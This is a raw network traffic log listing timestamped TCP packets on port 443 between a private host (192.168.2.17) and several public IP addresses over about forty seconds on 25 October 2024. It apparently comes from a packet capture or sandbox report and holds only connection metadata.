Oct 25, 2024 10:16:34.611440897 CEST	58421	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:34.611444950 CEST	443	58421	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:34.611465931 CEST	443	58421	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:34.611500025 CEST	58421	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:34.612548113 CEST	58421	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:34.612548113 CEST	58421	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:34.612912893 CEST	443	58421	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:34.613001108 CEST	443	58421	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:34.613302946 CEST	58421	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:34.673001051 CEST	58423	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:34.673022985 CEST	443	58423	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:34.673120022 CEST	58423	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:34.673302889 CEST	58423	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:34.673317909 CEST	443	58423	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:34.681683064 CEST	443	58422	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:34.681771040 CEST	443	58422	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:34.681828022 CEST	443	58422	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:34.681891918 CEST	58422	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:34.682069063 CEST	58422	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:34.682082891 CEST	443	58422	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:34.682111979 CEST	58422	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:34.682121038 CEST	443	58422	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:34.687613010 CEST	58424	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:34.687673092 CEST	443	58424	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:34.687757969 CEST	58424	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:34.688008070 CEST	58424	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:34.688040018 CEST	443	58424	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:34.693594933 CEST	58425	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:34.693613052 CEST	443	58425	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:34.693702936 CEST	58425	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:34.693834066 CEST	58425	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:34.693850994 CEST	443	58425	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:35.295926094 CEST	443	58424	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:35.296530008 CEST	58424	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:35.296566010 CEST	443	58424	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:35.297286987 CEST	58424	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:35.297298908 CEST	443	58424	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:35.312455893 CEST	443	58425	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:35.312946081 CEST	58425	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:35.312982082 CEST	443	58425	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:35.313657045 CEST	58425	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:35.313683033 CEST	443	58425	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:35.639137983 CEST	443	58425	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:35.639256001 CEST	443	58425	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:35.639301062 CEST	58425	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:35.640002966 CEST	58425	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:35.640012026 CEST	443	58425	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:35.766504049 CEST	443	58423	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:35.768572092 CEST	58423	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:35.768610954 CEST	443	58423	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:35.769597054 CEST	58423	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:35.769609928 CEST	443	58423	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:35.769658089 CEST	58423	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:35.769676924 CEST	443	58423	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:35.799679995 CEST	443	58424	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:35.799756050 CEST	443	58424	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:35.799808979 CEST	443	58424	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:35.799825907 CEST	58424	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:35.799899101 CEST	58424	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:35.800812006 CEST	58424	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:35.800856113 CEST	443	58424	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:35.800888062 CEST	58424	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:35.800901890 CEST	443	58424	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:36.100693941 CEST	443	58423	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:36.100756884 CEST	443	58423	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:36.100807905 CEST	443	58423	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:36.100838900 CEST	58423	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:36.100867987 CEST	443	58423	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:36.100914001 CEST	58423	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:36.101267099 CEST	58423	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:36.101267099 CEST	58423	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:36.101319075 CEST	443	58423	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:36.101667881 CEST	443	58423	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:36.101752043 CEST	443	58423	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:36.101811886 CEST	58423	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:36.140579939 CEST	58426	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:36.140635014 CEST	443	58426	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:36.140791893 CEST	58426	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:36.140964031 CEST	58426	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:36.140974045 CEST	443	58426	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:37.219227076 CEST	443	58426	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:37.219811916 CEST	58426	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:37.219826937 CEST	443	58426	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:37.220776081 CEST	58426	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:37.220781088 CEST	443	58426	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:37.220820904 CEST	58426	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:37.220825911 CEST	443	58426	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:37.550529003 CEST	443	58426	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:37.550558090 CEST	443	58426	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:37.550596952 CEST	443	58426	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:37.550623894 CEST	58426	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:37.550631046 CEST	443	58426	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:37.550724983 CEST	58426	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:37.551117897 CEST	58426	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:37.551119089 CEST	58426	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:37.551126003 CEST	443	58426	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:37.551341057 CEST	443	58426	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:37.551378965 CEST	443	58426	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:37.551486969 CEST	58426	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:37.625458002 CEST	58427	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:37.625504971 CEST	443	58427	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:37.625597954 CEST	58427	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:37.625786066 CEST	58427	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:37.625803947 CEST	443	58427	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:38.698019028 CEST	443	58427	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:38.698646069 CEST	58427	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:38.698677063 CEST	443	58427	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:38.699392080 CEST	58427	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:38.699400902 CEST	443	58427	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:38.699436903 CEST	58427	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:38.699446917 CEST	443	58427	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:39.055974960 CEST	443	58427	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:39.055994987 CEST	443	58427	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:39.056030989 CEST	443	58427	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:39.056083918 CEST	58427	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:39.056152105 CEST	443	58427	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:39.056188107 CEST	58427	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:39.056557894 CEST	58427	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:39.056616068 CEST	443	58427	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:39.056647062 CEST	58427	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:39.056765079 CEST	443	58427	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:39.056798935 CEST	443	58427	40.126.31.73	192.168.2.17
Oct 25, 2024 10:16:39.056844950 CEST	58427	443	192.168.2.17	40.126.31.73
Oct 25, 2024 10:16:39.138839960 CEST	58428	443	192.168.2.17	2.23.209.166
Oct 25, 2024 10:16:39.138904095 CEST	443	58428	2.23.209.166	192.168.2.17
Oct 25, 2024 10:16:39.138983965 CEST	58428	443	192.168.2.17	2.23.209.166
Oct 25, 2024 10:16:39.140993118 CEST	58428	443	192.168.2.17	2.23.209.166
Oct 25, 2024 10:16:39.141020060 CEST	443	58428	2.23.209.166	192.168.2.17
Oct 25, 2024 10:16:39.991612911 CEST	443	58428	2.23.209.166	192.168.2.17
Oct 25, 2024 10:16:39.991717100 CEST	58428	443	192.168.2.17	2.23.209.166
Oct 25, 2024 10:16:40.047255993 CEST	58428	443	192.168.2.17	2.23.209.166
Oct 25, 2024 10:16:40.047311068 CEST	443	58428	2.23.209.166	192.168.2.17
Oct 25, 2024 10:16:40.047633886 CEST	443	58428	2.23.209.166	192.168.2.17
Oct 25, 2024 10:16:40.047949076 CEST	58428	443	192.168.2.17	2.23.209.166
Oct 25, 2024 10:16:40.051525116 CEST	58428	443	192.168.2.17	2.23.209.166
Oct 25, 2024 10:16:40.051575899 CEST	443	58428	2.23.209.166	192.168.2.17
Oct 25, 2024 10:16:40.506228924 CEST	443	58428	2.23.209.166	192.168.2.17
Oct 25, 2024 10:16:40.506285906 CEST	443	58428	2.23.209.166	192.168.2.17
Oct 25, 2024 10:16:40.506330013 CEST	443	58428	2.23.209.166	192.168.2.17
Oct 25, 2024 10:16:40.506335020 CEST	58428	443	192.168.2.17	2.23.209.166
Oct 25, 2024 10:16:40.506335974 CEST	58428	443	192.168.2.17	2.23.209.166
Oct 25, 2024 10:16:40.506406069 CEST	58428	443	192.168.2.17	2.23.209.166
Oct 25, 2024 10:16:40.508845091 CEST	58428	443	192.168.2.17	2.23.209.166
Oct 25, 2024 10:16:40.508887053 CEST	443	58428	2.23.209.166	192.168.2.17
Oct 25, 2024 10:16:46.279190063 CEST	49700	443	192.168.2.17	162.125.66.15
Oct 25, 2024 10:16:46.279418945 CEST	443	49700	162.125.66.15	192.168.2.17
Oct 25, 2024 10:16:46.279572010 CEST	49700	443	192.168.2.17	162.125.66.15
Oct 25, 2024 10:16:48.598416090 CEST	58430	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:48.598480940 CEST	443	58430	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:48.598558903 CEST	58430	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:48.598895073 CEST	58430	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:48.598911047 CEST	443	58430	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:48.804617882 CEST	58431	443	192.168.2.17	142.250.185.228
Oct 25, 2024 10:16:48.804660082 CEST	443	58431	142.250.185.228	192.168.2.17
Oct 25, 2024 10:16:48.804765940 CEST	58431	443	192.168.2.17	142.250.185.228
Oct 25, 2024 10:16:48.806592941 CEST	58431	443	192.168.2.17	142.250.185.228
Oct 25, 2024 10:16:48.806610107 CEST	443	58431	142.250.185.228	192.168.2.17
Oct 25, 2024 10:16:49.605868101 CEST	443	58430	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:49.606049061 CEST	58430	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:49.607117891 CEST	58430	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:49.607131958 CEST	443	58430	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:49.607383966 CEST	443	58430	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:49.608386040 CEST	58430	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:49.651336908 CEST	443	58430	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:49.874706030 CEST	443	58431	142.250.185.228	192.168.2.17
Oct 25, 2024 10:16:49.875051975 CEST	58431	443	192.168.2.17	142.250.185.228
Oct 25, 2024 10:16:49.875066996 CEST	443	58431	142.250.185.228	192.168.2.17
Oct 25, 2024 10:16:49.876179934 CEST	443	58431	142.250.185.228	192.168.2.17
Oct 25, 2024 10:16:49.876507044 CEST	58431	443	192.168.2.17	142.250.185.228
Oct 25, 2024 10:16:49.876676083 CEST	443	58431	142.250.185.228	192.168.2.17
Oct 25, 2024 10:16:49.915204048 CEST	443	58430	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:49.915262938 CEST	443	58430	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:49.915549040 CEST	58430	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:49.915642023 CEST	58430	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:49.915642023 CEST	58430	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:49.915687084 CEST	443	58430	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:49.915716887 CEST	443	58430	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:49.919241905 CEST	58432	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:49.919274092 CEST	443	58432	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:49.919537067 CEST	58432	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:49.919537067 CEST	58432	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:49.919574022 CEST	443	58432	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:49.930335045 CEST	58431	443	192.168.2.17	142.250.185.228
Oct 25, 2024 10:16:50.519653082 CEST	443	58432	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:50.520268917 CEST	58432	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:50.520287991 CEST	443	58432	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:50.520914078 CEST	58432	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:50.520920038 CEST	443	58432	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:50.806416988 CEST	443	58432	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:50.806509972 CEST	443	58432	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:50.806622982 CEST	58432	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:50.806884050 CEST	58432	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:50.806895971 CEST	443	58432	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:50.806941032 CEST	58432	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:50.806947947 CEST	443	58432	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:50.847368002 CEST	58433	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:50.847459078 CEST	443	58433	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:50.847613096 CEST	58433	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:50.847773075 CEST	58433	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:50.847801924 CEST	443	58433	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:51.452677011 CEST	443	58433	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:51.453427076 CEST	58433	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:51.453476906 CEST	443	58433	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:51.454287052 CEST	58433	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:51.454302073 CEST	443	58433	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:51.748584032 CEST	443	58433	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:51.748651028 CEST	443	58433	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:51.748722076 CEST	58433	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:51.749001980 CEST	58433	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:51.749030113 CEST	443	58433	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:51.749047995 CEST	58433	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:51.749058962 CEST	443	58433	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:51.769478083 CEST	58434	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:51.769510031 CEST	443	58434	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:51.769602060 CEST	58434	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:51.769754887 CEST	58434	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:51.769769907 CEST	443	58434	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:52.377139091 CEST	443	58434	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:52.378036022 CEST	58434	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:52.378061056 CEST	443	58434	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:52.378876925 CEST	58434	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:52.378882885 CEST	443	58434	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:52.678297043 CEST	443	58434	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:52.678360939 CEST	443	58434	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:52.678510904 CEST	58434	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:52.678816080 CEST	58434	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:52.678827047 CEST	443	58434	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:52.678880930 CEST	58434	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:16:52.678888083 CEST	443	58434	104.16.230.132	192.168.2.17
Oct 25, 2024 10:16:59.858535051 CEST	443	58431	142.250.185.228	192.168.2.17
Oct 25, 2024 10:16:59.858620882 CEST	443	58431	142.250.185.228	192.168.2.17
Oct 25, 2024 10:16:59.858674049 CEST	58431	443	192.168.2.17	142.250.185.228
Oct 25, 2024 10:17:00.273413897 CEST	58431	443	192.168.2.17	142.250.185.228
Oct 25, 2024 10:17:00.273448944 CEST	443	58431	142.250.185.228	192.168.2.17
Oct 25, 2024 10:17:10.515086889 CEST	58435	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:10.515145063 CEST	443	58435	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:10.515244007 CEST	58435	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:10.515510082 CEST	58435	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:10.515525103 CEST	443	58435	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:11.114115953 CEST	443	58435	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:11.114193916 CEST	58435	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:11.115762949 CEST	58435	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:11.115771055 CEST	443	58435	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:11.115969896 CEST	443	58435	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:11.116952896 CEST	58435	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:11.163340092 CEST	443	58435	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:12.560245991 CEST	443	58435	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:12.560369015 CEST	443	58435	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:12.560446978 CEST	58435	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:12.560652018 CEST	58435	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:12.560671091 CEST	443	58435	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:12.560682058 CEST	58435	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:12.560688972 CEST	443	58435	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:12.564219952 CEST	58436	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:12.564317942 CEST	443	58436	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:12.564440012 CEST	58436	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:12.564567089 CEST	58436	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:12.564604998 CEST	443	58436	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:13.172203064 CEST	443	58436	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:13.172859907 CEST	58436	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:13.172941923 CEST	443	58436	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:13.173533916 CEST	58436	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:13.173549891 CEST	443	58436	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:13.469305038 CEST	443	58436	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:13.469367981 CEST	443	58436	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:13.469432116 CEST	58436	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:13.469700098 CEST	58436	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:13.469727039 CEST	443	58436	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:13.469743013 CEST	58436	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:13.469749928 CEST	443	58436	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:13.473678112 CEST	58437	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:13.473773956 CEST	443	58437	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:13.473880053 CEST	58437	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:13.474045038 CEST	58437	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:13.474085093 CEST	443	58437	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:14.102102041 CEST	443	58437	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:14.102722883 CEST	58437	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:14.102762938 CEST	443	58437	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:14.103583097 CEST	58437	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:14.103599072 CEST	443	58437	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:14.387499094 CEST	443	58437	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:14.387677908 CEST	443	58437	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:14.387753963 CEST	58437	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:14.387934923 CEST	58437	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:14.387958050 CEST	443	58437	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:14.387976885 CEST	58437	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:14.387983084 CEST	443	58437	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:14.395416021 CEST	58439	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:14.395457983 CEST	443	58439	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:14.395553112 CEST	58439	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:14.395719051 CEST	58439	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:14.395733118 CEST	443	58439	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:15.018198967 CEST	443	58439	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:15.018989086 CEST	58439	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:15.019073963 CEST	443	58439	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:15.019684076 CEST	58439	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:15.019737005 CEST	443	58439	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:15.692336082 CEST	443	58439	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:15.692528009 CEST	443	58439	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:15.692608118 CEST	443	58439	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:15.692612886 CEST	58439	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:15.692682981 CEST	443	58439	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:15.692759991 CEST	58439	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:15.692779064 CEST	443	58439	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:15.692871094 CEST	443	58439	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:15.692925930 CEST	58439	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:15.692938089 CEST	443	58439	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:15.693028927 CEST	443	58439	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:15.693089008 CEST	58439	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:15.693100929 CEST	443	58439	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:15.745551109 CEST	58439	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:15.745573997 CEST	443	58439	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:15.793557882 CEST	58439	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:15.810586929 CEST	443	58439	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:15.810798883 CEST	443	58439	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:15.810882092 CEST	58439	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:15.810890913 CEST	443	58439	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:15.810920000 CEST	443	58439	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:15.810980082 CEST	58439	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:15.811228991 CEST	443	58439	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:15.811681032 CEST	443	58439	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:15.811726093 CEST	443	58439	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:15.811736107 CEST	58439	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:15.811747074 CEST	443	58439	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:15.811800957 CEST	58439	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:15.811806917 CEST	443	58439	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:15.812655926 CEST	443	58439	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:15.812716961 CEST	58439	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:15.812726021 CEST	443	58439	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:15.812740088 CEST	443	58439	104.16.230.132	192.168.2.17
Oct 25, 2024 10:17:15.812815905 CEST	58439	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:15.812838078 CEST	58439	443	192.168.2.17	104.16.230.132
Oct 25, 2024 10:17:15.812838078 CEST	58439	443	192.168.2.17	104.16.230.132
